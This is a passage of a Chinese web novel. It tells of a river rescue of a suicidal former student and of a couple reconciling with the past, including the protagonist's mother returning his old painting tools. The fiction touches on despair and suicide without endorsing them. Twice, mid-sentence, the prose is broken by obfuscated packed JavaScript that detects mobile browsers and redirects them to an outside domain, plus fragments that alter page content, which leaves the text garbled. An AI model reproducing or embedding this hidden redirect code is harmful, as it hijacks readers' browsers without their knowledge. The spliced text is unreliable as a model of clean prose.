老人那双目倒比他年轻人的亮。一年过来，他常常失魂落魄。考上江大了，要去读书，也不见脱离苦海的喜悦。麻木无采的神情，老人都看在眼里。 齐怀生对陈向然的事只提过一二，说生病了，失踪了，不奢望再见。 其实心里快溢出来的遗憾和悲哀瞒不过老辈的眼睛。 “阿生啊，到了那边，喏是什么事你无得控制，别责怨自己。”奶奶把蒲扇对着他摇摇，丝丝凉风滑过。 齐怀生望望房门，父亲鼾声如雷，没吵醒。他的身体比以前好了，只是还得小心养着：“嗯，您也放宽心，医生说我爸恢复得不错。” “阿嫲知，阿嫲什么事无见过呀。”奶奶呵呵笑，今天大约是不舍孙儿，道理话比平日多，“是要同你讲，有几些事啊，你看着易，就好像，你那时做多点仔事，就能挽回什么。其实啊，过复杂噢。有多少原因才造成今日这生，多少经历加合，才造成伊个人有这生想法。人和人，”她将两根食指并了并，“不能相通。人常不是给人逼的，是自己逼了自己。” 晨风溜进屋里，凉柔柔的，脑袋渐渐清醒起来。齐怀生知道老人家在开导自己。 许多经历加在一块儿，才酿成后来的想法，垒作这样的结局。 那时候他出门，奶奶给肠粉装盒，她亲手蒸的，加了双倍肉、蛋，给他路上的早餐。他偶尔会怀念家里那份香气，和江洲饭店的不同。家里的肠粉能嗅见檀香、柑橘香，出海归来的，还有海的腥咸气。 饭店的终究太精致——像少年时的陈向然那般精致，惹人怜。剖开内里，又缺了些东西。 因此他找。找了七年。 手机铃一响，齐怀生火速接通——是恋人找到这来了。 “喂，怎么？” “齐怀生，我找不见龙皓。”陈向然喘着粗气，像是刚停下歇息，“我联系上他，他也不告诉我他在哪。我去了他学校，他班上同学说，他最近没去上课。” 齐怀生暗暗“啧”了一声：“那回来吧。” “不行，万一他出什么事，需要我——” “嗯，那万一，我需要你呢？”齐怀生悠悠拖着个坏坏的口气。 对面人被低沉轻佻的声音击中，沉默三秒。 “你——” “我到处疼，头疼、心疼、膝盖疼……” “膝盖？” 齐怀生满面严肃，烟夹在指尖，懒洋洋趴上栏杆，一字一顿：“前晚上跪久了，床硬。你得负责。” “……”陈向然“嘟”挂了电话。 齐怀生哂笑两声，叼着烟，把手机塞回裤兜。 叶知呆成一颗坚果，没来得及捂耳朵，瞪着眼睛抱怨：“……我真觉得我上辈子作孽了，回回赶上虐狗。” “那就别当狗，找个人谈呗。”齐怀生碾灭烟，在外吹了会儿风，才大开阳台门，“有追你的就试试。” “你不是不让人追我么？”叶知斜睨他一眼。 齐怀生反应过来这个“人”是谁，原地愣住，烟头“哒”地掉地上。 霎时觉得自己上辈子也作孽了。 何晋端来水果，橙子、苹果，都切成大块，拼盘一样放茶几上。 小沙发上的人故作冷漠，耳朵却红得像盘里的苹果皮。 “跟阿生通话呢？”何晋微笑。 “晋哥，你们生哥，平时都在想些什么？”陈向然拧着疑惑的小眉毛，“我越来越不懂他了。我只是出来找我一个学生。” “他啊。”何晋递上牙签，“他就喜欢乱吃飞醋，谁的醋他都吃——别告诉他是我说的。” 陈向然更不懂他了，一青春期小子的醋也能吃。 “看什么呢？那么专注。”何晋应齐怀生的要求，抛出疑问。 陈向然没心思吃东西，只啃了一块苹果，聚精会神地对着微信聊天窗。站起来，招呼也不打，又出了门。 何晋摇摇头，盘里剩下的水果一扫而光。 齐怀生老说要看着他，但绝不能限制他行动。要注意他的衣食起居，但一个屋檐下也要离他方圆一米以外。最后有麦当劳新出情侣套餐优惠券作报酬，他可以和申恺一起吃，如果那时候申恺还没脱单的话，跟兄弟一起找浪漫，他会很高兴的。 简直霸王条款。何晋摊手，笑得万分无奈。 咚咚咚咚—— “怎么啦？”何晋起身去开门，“忘带钥匙了吗？” 门一开，齐怀生在门口喘气，看着心急如焚，大颗汗水挂在浅色的皮肤上。 “向然呢？” “找那龙什么去了。” “去哪找？” 陈向然出门只拎了电驴的钥匙。小机动车冲上大马路，穿梭在私家车缝隙里。 ——“他不是杀人罪。他和杨翎没有家人关系——半个月，明天他就出来了。” 龙皓的微信语音沙哑、慵懒，字里行间浓浓的酒醺气，还有酒嗝，接连几天都是。刚才为止，他将语音一字一字听了许多遍。 ——“嘿……然老师，如果杨翎，换成生哥，或是你什么兄弟……” ——“你想不想和罪人同归于尽？” 车子在绿灯最后一秒冲过界线，惹得一辆小轿车急刹。司机探头大骂，陈向然全然没有理会，车头一拐，小电驴大幅倾斜，左转弯划出一个巨大的弧，扬尘而去。 ——“我和你一样，然老师。小时候和姥姥生活，大一点了被我妈接到江洲读书。我不是读书的料，交不到朋友，没有未来。杨翎给我辅导功课，同我画画。一开始是老师安排，后来我们就成了朋友。” ——“我不知道自己怎么了，常觉得我离废物不远了，不该活着。像你说的，没意思，没盼头。但是遇到杨翎和你，我觉得……我还是有一点点价值吧。听杨翎倾诉，偶尔照顾你，被你认可。做你的学生是很幸运的事。” 很多年了，他仍旧听不得这些。 他分明什么也没做，谁也没救得。 ——“我没有救回杨翎，我依然是废物，可有人比我更像个废物。废物就该溺进大江，顺流到海，就这么死去不被人瞧见。” 溺进大江……大江…… 陈向然能想到的只有珠江。油门踩到底，走了最近的路，却发现堵车堵得电驴也没缝钻腾。他只好绕路。 天又烧起来了，堆积成团的火烧云，滚烫又沉重的天色。陈向然记得，有个少年坠落在这样地狱般的颜色里，以生命打开他漫长的对抗病魔之路。 陈向然远远看到人群最密集的地方，两个人翻越到栏杆外的平地拉扯，在江边摇摇欲坠。 他松开小电驴，钥匙没拔，脚蹬也没打，车子晃着倒下。他顾不上了，拔腿冲到江边，一手扯住一个，要将他们拉回来。 龙皓阴郁地看着他。那罪犯在大声指责他们，说杨翎是被庸医杀了，被龙皓洗脑了，疯话来得一套一套。 龙皓最后的表情模糊不清，他好像在笑，继而一个飞扑拦腰抱住那罪犯，往水里拖坠而去。 岸上有人大惊，七嘴八舌地要报警。陈向然把龙皓往上拽，那罪犯挣扎，说着同归于尽，反手扯住陈向然。力道很大，抓出血痕来。 陈向然一手把着栏杆，一手拉住两人的重量。江水摇曳，拍打石砌长廊，漆黑不见底。 幽幽地，散发死寂的气息。 命悬一线时，他倒不恐惧了。 命运不公，令他病入膏肓。命运又眷顾他，让他遇见这些人。龙皓这小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302014|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子阴差阳错出现在身边，劝他就医、吃药，于是他上医院遇见叶知，又重新见到齐怀生。旧情人极尽忍耐他的脾气，被抛弃的怨恨从没真正说出口。无能为力之际又将他托付给申恺、何晋、陆引…… 原来他是被这么多人救赎着的。 他感到火辣辣的疼，快要脱力，耳朵嗡嗡的。龙皓的嘴巴一张一合，似乎在喊他放手。他死死抓着自己的前学生，栏杆上发白的手指骤然松开。 三个人跌入漆黑的江涛。 他听见一声久违的长吟。江水奔涌，水声汩汩，和噩梦中的声音一模一样。那些魂牵梦萦的痛苦与折磨，依旧随时随地闯进他的脑海。 可他不再怕了，他知道人生是不断化解苦痛和迷惘的过程，直到满身清明。 他用尽最后的力气将头和一只手探出水面。 “啪”一下，一只比他更大的手掌抓住他的小臂，莫大的力量将他从深不见底的黑水中救出。他另一只手被迫松开龙皓，他试着再抓，只抓到了冰冷的江水。 到岸上，有人将他抱得很紧，给他裹了大两码的外套。 他重重咳出江水，咳到肺快翻出来。朦胧中紧靠一个肩膀，半睁着眼，望见好几张年轻的面孔。 齐怀生的脸最近，自责而惊魄未定。 “人呢？” “警方在打捞。”齐怀生捂着他的脸，想给他点温度。 陈向然歪过头。警察正落下绳索和救生圈，打捞第二个人。 夕阳卷进微风，他散开濡湿的头发，目光一一扫过叶知、何晋和申恺。 低下头：“抱歉，我不该一个人来。” “你明白就好。”齐怀生与他额头相抵，沉沉地说，“你已经做得很好了。” 陈向然蜷缩进爱人怀里：“我什么也没做成，总受人拯救罢了。” 齐怀生不满：“你怎么就——” “我们还在这呢二位，就卿卿我我。”申恺倏然打断齐怀生，拍着何晋的肩，笑嘻嘻把脸伸向叶知，“人有人权，狗也要狗权。你说对吧小叶？” 齐怀生推开申恺的脸。 “咳，这次我站恺哥。”叶知一笑，脸红扑扑的，晚霞红日都逊色于她。 江风徐来，江水弄皱夕阳的倒影。长廊上人群渐渐散了，广场恢复宁静。 齐怀生揽着陈向然扶起来，二人看着偌大公园人声喧然，一个突然的意外并没有扰了他们的兴致。 幼孩骑着滑板车，脑门朝石板路上磕去，险些摔倒，路过的女子眼疾手快将他抱起，细声安慰；盲人掉了盲杖，寻不到盲道，所幸有三五学生相助；一位老人形容痴呆，不断问女儿从哪里来，到哪里去，女人一遍遍耐心哄着：妈，我从您那来，您去哪，我就去哪。 风撩动发梢和心弦，齐怀生忽然说：“我奶奶曾经和我说过，遇到什么控制不了的事，别责怨自己。” 陈向然用毛巾搓着脑袋，认真地看着他。 “你总喜欢责怨自己，我也一样。你怨自己想和母亲作对，怨自己没注意到同学精神异常，怨自己没看出朋友嫉妒……无能为力的感觉太深。或许对我的事，你也很难放过自己。” “可是你看，你和我，和他们，和这么多人都一样。不能让瞎子复明，不能让老人回春，不能让杨翎起死回生，也不会给龙皓对症下药。” 龙皓浑身湿哒哒的，披着干浴巾，被警察推着，像个破碎的木偶。路过陈向然，眼睛一抬，才有了一丝活人样。 “谢谢您，老师。”他稍稍直了脊背，往前走，不再要警官推着了。 “龙皓……他可有段艰难的时光要挨了，”齐怀生说，“好在今晚有你救他一回——你一定不是第一次救赎他了。你说你没做什么……你做的已经太多了。就像你当年说我为你做了太多，我倒从没觉得我做了什么，还要受你二十万救济。”说到这他勾起嘴角。 陈向然一愣，脑子里闪过八百种可能性。叶近成没有守约？还是齐越杰刻意捅破？ “翻你群聊记录看到的。”齐怀生扳回他神游的脸，“我只是想说，当年喜欢上你之前，我心血来潮想拉你一把。现在想，我大概把你当成了另一桩可以挽回的遗憾，因为我曾很弱小，拉不住我母亲。” “可再次失去你后才知道，苦难和遗憾都是人生琐事，幸福和好运也是一样。我们说，可以救赎别人，来疗愈自己。可生活满是错过和来不及，那时我们又如何？我们上学时接受了很多结果导向教育，而其实很多事情，包括你的病，不是非要一个终点。” “哪怕什么也不做，”齐怀生把他抱得更紧，下巴搁在湿漉漉的头发上，“你的存在已经足够救赎很多人，在你没注意到的地方。” 江风湿冷，陈向然面朝晚霞，头发尖耷拉着，发了许久的呆。回过神来，一只手已撂在人脖子上，齐怀生环住他的腰肢，一搂、一撑。 “走吧，我带你回家。” 96. 归初 陈向然在何晋回石川之前，搬进了齐怀生家。 他自觉进了客房，给里面陈设改了格局，架起画架，铺开那些花里胡哨的画具。齐怀生在他呆惑的目光下，将他的棉被、枕头搬进自己的房间——自己的床。 一米八床，一个人睡怪浪费的。他说。 陈向然只是转过头笑了笑。 这年除夕冷，江洲破天荒下了场霰。漫天莹白的碎冰晶，大伙叫它南方雪，称是百年难遇。 陈向然跨下车，齐怀生帮他摘头盔，露出一双被冻得无辜的鹿眼。他半张脸埋进灰围巾，看霰粒慢悠悠飘进手心，小小的，透明的，融化了。他看得专注，掩不住眼里隐动的微光。 “没见过雪啊。”齐怀生毫不留情地吐槽。 “你见过？” “没有。”他停了电驴，推着他进陆引的画展，“那也不像你，像个小孩子一样。” 陈向然两眼弯弯，眉梢软软落下：“像个小孩子多好。” 齐怀生轻轻碰他的脸，拇指抚过眉梢：“你愿意像什么，就像什么。” 他的新画是一个新生儿。赤子生于自然，长于嫩芽、花苞和竹笋中，嫩绿、青翠，色彩浅淡明朗。桃花、玉兰花、海棠花，白的粉的花瓣纷纷飘扬，落在稚嫩的皮肤上。 陈向然在画前驻足，偷偷瞄看齐怀生的侧脸，想从那脸上看出对画的想法来。齐怀生恰好回头，撞上视线，两相一笑。 这幅画很快被人定了，陆引叫他来做交易。齐怀生非要跟着来，价钱的事，他自认为挺擅长。 “我不抬价。”陈向然到现场才明白他意图。 “陆教授说过，这个人很会低价淘艺术品。看你名气小，宰你呢。” “我不在意。”陈向然摇摇头，“有知音相中，就很高兴了。” 齐怀生穷过，心疼钱，却也由着他去了。 谁叫他偏喜欢这样的陈向然。 “初四我家那边要祭拜，我得回塘泽，和我一起吗？”齐怀生有小心思，语调回转，“这次可不一样了，男朋友。” 可陈向然想起一件重要的事：“我要先回我妈那儿，她可能会留我几天。” “你不是刚从阿姨那回来？” “她说，有东西忘了给我……估计也是借口吧，想我回去围炉。”陈向然苦笑。 深冬了，夜晚风大，海边尤其如此。 天黑了，院门前摇荡两个红纸灯笼，指路灯一样，一眼就望见了。乌木门上原先的福字撕了，换上新的，留下白花花的牛皮癣。 走进庭院，他注意到厅门前贴了对联，手写的，红底黑字的行楷。问了林岚，她笑：“你小时候可喜欢我的字了。现在退步了吧？” 他摸不着头脑，回到门前，像个门神一样一动不动地辨认。其实是在回忆。 似乎有这么回事。五岁那年，姥爷照旧在过年时教全家人书法，林岚刻意诱导地问，妈妈的字怎样，喜不喜欢。他小时害羞，话也轻轻的、奶声奶气，说：最喜欢。林岚记了一辈子。 进门、放包、不洗手，林岚什么也不说，往他嘴里塞了一个砂糖橘，小个儿，薄皮，甜滋滋的。但他拒绝了第二个，太亲近的距离，他还不习惯。 林岚从屋里拿来一个木箱，交到他手里。他掂了掂，有点重量，哐啦啦地响，东西还不少。 他开玩笑：“不会是新年礼物吧？” 林岚眼角垂着，并不笑：“是你的东西。” 盒子有灰，林岚特意擦干净了，交到手上还有抹布的湿气。锁擦不干净，怎么擦都掉锈，钥匙戳不进去，没用了。 他塞进了行李。 “今晚别走了。”林岚背过身。这种时候，陈向然都好奇她的表情。 “哦，我过两天走。” 林岚一只脚没迈进里屋，反倒转过身来，微微笑着：“这么爽快呀。” 年少时他总在那脸上看见厉色——人一旦过分执著、焦虑，相上也没什么好颜色，这样柔情的目光不大见到。 他却仿佛回到人生最初的时候。好像这才是应当的，她本来的模样。 齐怀生在出发那天来拜访了。 陈向然知道他那身衣服，是衣柜里最贵的一套。有正装的气质，又带了些花里胡哨的设计。 他耳语：“穿成这样？” 齐怀生拽拽衣领：“好看么？” “怎么都好看。” 怕不是他第一次见林岚时，衣服又旧、又皱，撞上一双嫌弃的眼睛，记到了现在。 林岚见他来，眼亮了一瞬，拿出极热情的姿态，要给他倒茶。 陈向然替他婉拒了，把人拖到房间里，指着那个“宝箱”：“帮我打开它。” 齐怀生伸手：“钥匙？” “有钥匙就不寻你了。”他叹了口气，被林岚喊出去了。 齐怀生仍是拎了修台阶的铁锤，比了比姿势，觉着不行，拿个木凳垫着锁，桄榔一下砸断了锁扣。 打开箱子，飞尘扑面而来。齐怀生呛两声，挥舞手臂后退。尘埃落了，才凑上前看。 一个手机——陈向然高中时用的手机。一张卷起来的画。还有个脏兮兮的大麻袋。解开袋口的结，齐怀生怔了会儿，默默绑上袋口，合上箱。 他拎着两人的行李袋，推两个行李箱，门口等着。陈向然聊完琐事，匆匆赶来：“打开了？箱里什么东西？” 齐怀生默然。 忍不住笑了笑：“上车后自己看。” “到底什么东西……” “自己亲眼看。” 站台寒风朔朔，城里工人挑着担子，裹着缝补过的棉大衣，坐在地上倚着墙柱眯眼。行人来往，一不小心就要踢上担子。每年春运票总买不成，明明错开了几日，还是连同站票一块儿抢光了。 “呜呜”声由远及近，齐怀生说“车来了”。蒸汽散去，视线渐渐清晰，列车已经停在面前。工人们醒了，白领从候椅上站起，小孩在开心地尖叫。小小的车门人群涌入，齐怀生腾出一只手揽住身边人，怕他挤着。 这个绿色的大怪物又一次呜呜叫起来，向前发车，一股浓烟滚向荒野边际。 “怎么不坐高铁了？”齐怀生将行李箱抬上行李架，“我以前坐火车，就为了便宜。” “突然就想坐慢车了。”陈向然说，“下次坐高铁。” “火车也好。”齐怀生整完行李，贴在人身边，搂上后腰，“咱俩多待会儿。” “那你对我的新画，有什么想法？” “怎么说起新画了？” “这你别管，快说什么想法？” 齐怀生托着下巴想了好一会，目露惶恐：“你是想问，我对小孩子有什么想法？” 陈向然默了，他再一次不能理解爱人在想什么。 “如果让你为这画作一首曲子，你会怎么写？” “新生？稚嫩？”齐怀生瞥见爱人脸色沉寂，知道自己答错了。 火车一摇一晃，缓缓行驶。 齐怀生被晃得困，在卧铺上睡着了。陈向然在下方打了张小桌、小椅开始拆小木箱。 一个手机，高中用过的。有电，能开机。密码还是原来的，桌面壁纸也没有变。但手机卡上有霉点，除了打紧急电话没有任何用处。可林岚一直在为它充电。 若是有人打进来，或许她能问一句儿子在哪吧。这么些物品，藏的都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302015|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是念想。 解开麻袋，里面颜料、鬃毛笔、调色盘、刮刀……种种画具不一而足。他渐渐愣了，它们很眼熟、很眼熟……这盒是叶知送的，那块是齐怀生送的，刮刀是陆引赠予的，回忆零零碎碎，潮水般涌来。 它们崭新、昂贵，都是好东西，都是他年少岁月里的珍宝。某一天被林岚收走，他亦撕了所有画卷，结束一切可笑的挣扎。 林岚说：是你的东西。 他面无表情，眼底含泪，还是想起很多事。终于终于，触到了心里的小孩。没有想象的那么难堪。他摸着小孩毛茸茸的脑袋，为他擦去眼泪，一言不发。 箱底还有幅画，旧得发黄，但保护得好，没沾过水渍，没烤过高温。他一点点展开——五颜六色的水彩，好像是树，好像还有有秋千，有香炉、供桌、老屋…… 是老屋画。 原原本本的笔迹，一些是他的，一些是姥爷的。它本该以十多万的价格待在另一个人手里，怎会…… ——“你妈妈买走你所有的画就走了，其中一幅还是跟人抢着买的。” 陆引是这么说的。 他拨通了陆引的电话，迫不及待要问清楚，他替齐怀生还债那十八万，究竟来自哪里。 “你妈妈买走你所有画，就花了五千块。”陆引嘿嘿地笑，“她不乐意多花，就算钱是进你口袋，那也得交税啊。” “啊对，老屋那幅被你妈妈拿走啦。她说这幅画不一样，不能卖，她一定要拿走。那个收藏家当场看中了你的《日落》，才同意让出《老屋》。当时好像卖十多二十万吧。” “他的评价是：在行将灭亡中的绽放，才是最耀眼的。不专业，但还算准确，是吧？” 挂电话后，陈向然轻提嘴角，闭上眼睛。 火车晃晃悠悠，像摇篮一样，他抱着老屋画不知不觉睡去，画里的场景在梦里渐渐动起来。树叶会摇了，阳光会闪了，姥姥抱着一个大竹匾，说花生要晒过才行，阿然喜欢。 他依然会去海边捉螃蟹，去山上摘野果，小脸脏兮兮的，露齿一笑，很明媚。 家族祠堂肃穆、宁静。姥姥总说现在没有什么家族了，可还是定期来添添香火。他也会在跪垫上睡一个下午觉。 他许久没做这样宁静的梦，却被头顶一个声音打破：“陈向然，我知道了。” 他醒来，眼睛也不睁：“知道什么？” “你的新画。”齐怀生从卧铺上下来，注视着他，“不是初生，是回归初生。” 陈向然听他说下去。 “你那天同我说，做小孩子好。我想到你以前也说喜欢自然、喜欢真实。也许人最初都要向外寻找，走到很远很远的地方后，再回头，又想回到最初。画上有春天的象征物，是最初的自然，这个意思。” “回归最初，就像重生一样。对么？” 陈向然闭着眼睛，只是笑笑，没有回答。 春天是新生的季节，他们还有很多个春天，很多场重生。 平原上下起了雨，乌云很薄，还没完全挡住阳光。 像他一直以来的心一样。 玻璃窗上水流细细弯弯地流淌。车内开了灯，他的脸映在车窗上，昏黄的灯光和影子一起闪过，拉扯成五光十色、模糊不清的样子。 像极了第一次遇见齐怀生的那个晚上。 大雨倾盆，山顶钟声游荡，走投无路的少年闯进小舍躲避风雨。 梦境流淌，青年回到少年，回到幼年，溯回他童年的大海。混沌中，一声长吟破空而来。 是他的瑟尔夫。从最初开始，这只幼鲸就存在着，同最初的赤子、和他们最后的归宿—— 一并回到身边。